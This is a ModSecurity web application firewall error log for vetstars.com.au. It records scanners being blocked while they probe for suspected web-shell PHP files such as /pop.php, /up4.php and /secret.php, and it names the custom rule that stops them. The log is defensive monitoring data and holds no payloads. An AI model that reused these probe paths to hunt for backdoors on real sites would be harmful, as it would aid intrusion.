[Fri Jan 09 01:00:24.329376 2026] [:error] [pid 17404:tid 17406] [client 20.196.88.31:7041] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aV_iqGVd_oH193N6AnXs-AAAAYA"]
[Fri Jan 09 01:00:24.644803 2026] [:error] [pid 7586:tid 7594] [client 20.196.88.31:7112] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aV_iqMJyk37GdXP5TmWZYgAAAcY"]
[Fri Jan 09 01:00:24.978221 2026] [:error] [pid 15264:tid 15316] [client 20.196.88.31:11004] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aV_iqIov6_kvS0Owh-o6jAAAAFE"]
[Fri Jan 09 01:00:25.383712 2026] [:error] [pid 15264:tid 15317] [client 20.196.88.31:7136] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pop.php"] [unique_id "aV_iqYov6_kvS0Owh-o6kAAAAFI"]
[Fri Jan 09 01:00:25.698076 2026] [:error] [pid 15358:tid 15372] [client 20.196.88.31:10896] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aV_iqSoRk9xWJ3toSBKxoAAAAMI"]
[Fri Jan 09 01:00:26.014829 2026] [:error] [pid 17404:tid 17426] [client 20.196.88.31:10914] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aV_iqmVd_oH193N6AnXs-wAAAZQ"]
[Fri Jan 09 01:00:26.457783 2026] [:error] [pid 15263:tid 15281] [client 20.196.88.31:10984] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aV_iqtv61bxum7WG_e8vEAAAAAk"]
[Fri Jan 09 01:00:27.002593 2026] [:error] [pid 15265:tid 15338] [client 20.196.88.31:6747] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/az.php"] [unique_id "aV_iq6E6VBKhew2LTFR5eQAAAIw"]
[Fri Jan 09 01:00:27.631564 2026] [:error] [pid 15265:tid 15326] [client 20.196.88.31:10909] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aV_iq6E6VBKhew2LTFR5fgAAAIA"]
[Fri Jan 09 01:00:28.009731 2026] [:error] [pid 15265:tid 15342] [client 20.196.88.31:10964] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aV_irKE6VBKhew2LTFR5fwAAAJA"]
[Fri Jan 09 01:00:28.415421 2026] [:error] [pid 7586:tid 7599] [client 20.196.88.31:10903] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aV_irMJyk37GdXP5TmWZaQAAAcs"]
[Fri Jan 09 01:00:28.801915 2026] [:error] [pid 17404:tid 17430] [client 20.196.88.31:7005] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xaz.php"] [unique_id "aV_irGVd_oH193N6AnXs_AAAAZg"]
[Fri Jan 09 01:00:31.087394 2026] [:error] [pid 17404:tid 17410] [client 20.196.88.31:10945] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aV_ir2Vd_oH193N6AnXtAQAAAYQ"]
[Fri Jan 09 01:00:31.443742 2026] [:error] [pid 2484:tid 2491] [client 20.196.88.31:7138] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aV_irziDlnlaQQK_AEPTYAAAAUU"]
[Fri Jan 09 01:00:31.836250 2026] [:error] [pid 2424:tid 2443] [client 20.196.88.31:10922] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aV_ir7TDJR8aofkBk9RkLwAAARE"]
[Fri Jan 09 01:00:32.170748 2026] [:error] [pid 15263:tid 15283] [client 20.196.88.31:10972] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/up4.php"] [unique_id "aV_isNv61bxum7WG_e8vFwAAAAs"]
[Fri Jan 09 01:00:32.599961 2026] [:error] [pid 7586:tid 7606] [client 20.196.88.31:10936] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aV_isMJyk37GdXP5TmWZcgAAAdA"]
[Fri Jan 09 01:00:33.083289 2026] [:error] [pid 2424:tid 2440] [client 20.196.88.31:10904] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aV_isbTDJR8aofkBk9RkNQAAAQ4"]
[Fri Jan 09 01:00:33.383875 2026] [:error] [pid 15263:tid 15293] [client 20.196.88.31:10917] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aV_isdv61bxum7WG_e8vGgAAABU"]
[Fri Jan 09 01:00:33.969425 2026] [:error] [pid 2424:tid 2428] [client 20.196.88.31:10968] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1aa.php"] [unique_id "aV_isbTDJR8aofkBk9RkOgAAAQI"]
[Fri Jan 09 01:00:34.336864 2026] [:error] [pid 15264:tid 15305] [client 20.196.88.31:7088] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aV_isoov6_kvS0Owh-o6oQAAAEY"]
[Fri Jan 09 01:00:34.714277 2026] [:error] [pid 15264:tid 15321] [client 20.196.88.31:6781] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aV_isoov6_kvS0Owh-o6ogAAAFY"]
[Fri Jan 09 01:00:35.229046 2026] [:error] [pid 15358:tid 15393] [client 20.196.88.31:7053] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aV_isyoRk9xWJ3toSBKxtAAAANc"]
[Fri Jan 09 01:00:35.602442 2026] [:error] [pid 15358:tid 15373] [client 20.196.88.31:7003] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/elp.php"] [unique_id "aV_isyoRk9xWJ3toSBKxtgAAAMM"]
[Fri Jan 09 01:00:36.149506 2026] [:error] [pid 15264:tid 15301] [client 20.196.88.31:6989] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aV_itIov6_kvS0Owh-o6pQAAAEI"]
[Fri Jan 09 01:00:36.619616 2026] [:error] [pid 15264:tid 15304] [client 20.196.88.31:10924] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aV_itIov6_kvS0Owh-o6pgAAAEU"]
[Fri Jan 09 01:00:37.133952 2026] [:error] [pid 7586:tid 7597] [client 20.196.88.31:10906] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aV_itcJyk37GdXP5TmWZdAAAAck"]
[Fri Jan 09 01:00:37.709583 2026] [:error] [pid 17404:tid 17428] [client 20.196.88.31:10933] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtz.php"] [unique_id "aV_itWVd_oH193N6AnXtCgAAAZY"]
[Fri Jan 09 01:00:38.080008 2026] [:error] [pid 15265:tid 15339] [client 20.196.88.31:6931] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aV_itqE6VBKhew2LTFR5ggAAAI0"]
[Fri Jan 09 01:00:38.625517 2026] [:error] [pid 15264:tid 15300] [client 20.196.88.31:10973] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aV_itoov6_kvS0Owh-o6rwAAAEE"]
[Fri Jan 09 01:00:39.534415 2026] [:error] [pid 15265:tid 15333] [client 20.196.88.31:6757] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aV_it6E6VBKhew2LTFR5iwAAAIc"]
[Fri Jan 09 01:00:40.545131 2026] [:error] [pid 15263:tid 15287] [client 20.196.88.31:7166] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/galex.php"] [unique_id "aV_iuNv61bxum7WG_e8vJQAAAA8"]
[Fri Jan 09 01:00:41.759361 2026] [:error] [pid 15358:tid 15388] [client 20.196.88.31:7071] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aV_iuSoRk9xWJ3toSBKxwwAAANI"]
[Fri Jan 09 01:00:42.170898 2026] [:error] [pid 7586:tid 7591] [client 20.196.88.31:6724] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aV_iusJyk37GdXP5TmWZeQAAAcM"]
[Fri Jan 09 01:00:42.659650 2026] [:error] [pid 2424:tid 2447] [client 20.196.88.31:7030] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aV_iurTDJR8aofkBk9RkQAAAARU"]
[Fri Jan 09 01:00:43.343339 2026] [:error] [pid 2484:tid 2490] [client 20.196.88.31:10952] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xb.php"] [unique_id "aV_iuziDlnlaQQK_AEPTZQAAAUQ"]
[Fri Jan 09 01:00:43.761187 2026] [:error] [pid 15264:tid 15323] [client 20.196.88.31:7111] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aV_iu4ov6_kvS0Owh-o6sQAAAFg"]
[Fri Jan 09 01:00:44.477662 2026] [:error] [pid 15264:tid 15320] [client 20.196.88.31:7167] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aV_ivIov6_kvS0Owh-o6tAAAAFU"]
[Fri Jan 09 01:00:45.220757 2026] [:error] [pid 7586:tid 7606] [client 20.196.88.31:7141] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aV_ivcJyk37GdXP5TmWZfQAAAdA"]
[Fri Jan 09 01:00:45.840107 2026] [:error] [pid 2424:tid 2427] [client 20.196.88.31:10934] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ova.php"] [unique_id "aV_ivbTDJR8aofkBk9RkQQAAAQE"]
[Fri Jan 09 01:00:46.556200 2026] [:error] [pid 17404:tid 17417] [client 20.196.88.31:6954] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_ivmVd_oH193N6AnXtFgAAAYs"]
[Fri Jan 09 01:00:47.274740 2026] [:error] [pid 2424:tid 2448] [client 20.196.88.31:10891] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_iv7TDJR8aofkBk9RkRgAAARY"]
[Fri Jan 09 01:00:47.864857 2026] [:error] [pid 17404:tid 17416] [client 20.196.88.31:7165] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_iv2Vd_oH193N6AnXtFwAAAYo"]
[Fri Jan 09 01:00:48.415012 2026] [:error] [pid 7586:tid 7604] [client 20.196.88.31:6754] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/vx.php"] [unique_id "aV_iwMJyk37GdXP5TmWZfwAAAc4"]
[Fri Jan 09 01:00:48.759310 2026] [:error] [pid 17404:tid 17422] [client 20.196.88.31:10928] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aV_iwGVd_oH193N6AnXtGAAAAZA"]
[Fri Jan 09 01:00:49.101224 2026] [:error] [pid 7586:tid 7613] [client 20.196.88.31:10886] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aV_iwcJyk37GdXP5TmWZgQAAAdc"]
[Fri Jan 09 01:00:49.591850 2026] [:error] [pid 15264:tid 15305] [client 20.196.88.31:10942] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aV_iwYov6_kvS0Owh-o6uAAAAEY"]
[Fri Jan 09 01:00:49.893442 2026] [:error] [pid 15265:tid 15327] [client 20.196.88.31:6928] [client 20.196.88.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rh.php"] [unique_id "aV_iwaE6VBKhew2LTFR5lwAAAIE"]
[Fri Jan 09 05:43:51.288269 2026] [:error] [pid 35810:tid 35835] [client 49.51.52.250:39378] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aWAlF4rJrhH8tOUNM5D0gQAAABA"]
[Fri Jan 09 10:16:35.205493 2026] [:error] [pid 44848:tid 44867] [client 143.244.141.160:59260] [client 143.244.141.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/"] [unique_id "aWBlA6jajoTJAbEk87wnZwAAAFE"], referer: binance.com
[Fri Jan 09 10:25:54.973475 2026] [:error] [pid 30020:tid 30058] [client 20.24.220.9:2065] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/private.php"] [unique_id "aWBnMsrjc66qOisG6L17ygAAAIQ"]
[Fri Jan 09 10:25:59.899673 2026] [:error] [pid 30019:tid 30040] [client 20.24.220.9:2070] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/private.php"] [unique_id "aWBnN0z3igHGwX5f7IpuVwAAABA"]
[Fri Jan 09 10:26:00.645120 2026] [:error] [pid 30020:tid 30072] [client 20.24.220.9:2155] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/private.php"] [unique_id "aWBnOMrjc66qOisG6L171AAAAJI"]
[Fri Jan 09 10:26:02.366845 2026] [:error] [pid 30019:tid 30036] [client 20.24.220.9:2167] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/private.php"] [unique_id "aWBnOkz3igHGwX5f7IpuWQAAAAw"]
[Fri Jan 09 10:26:03.840519 2026] [:error] [pid 30020:tid 30054] [client 20.24.220.9:2115] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secret.php"] [unique_id "aWBnO8rjc66qOisG6L172QAAAIA"]
[Fri Jan 09 10:26:08.646734 2026] [:error] [pid 30021:tid 30095] [client 20.24.220.9:2086] [client 20.24.220.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/secret.php"] [unique_id "aWBnQA_M8aRtsTog5J8e_AAAAM4"]
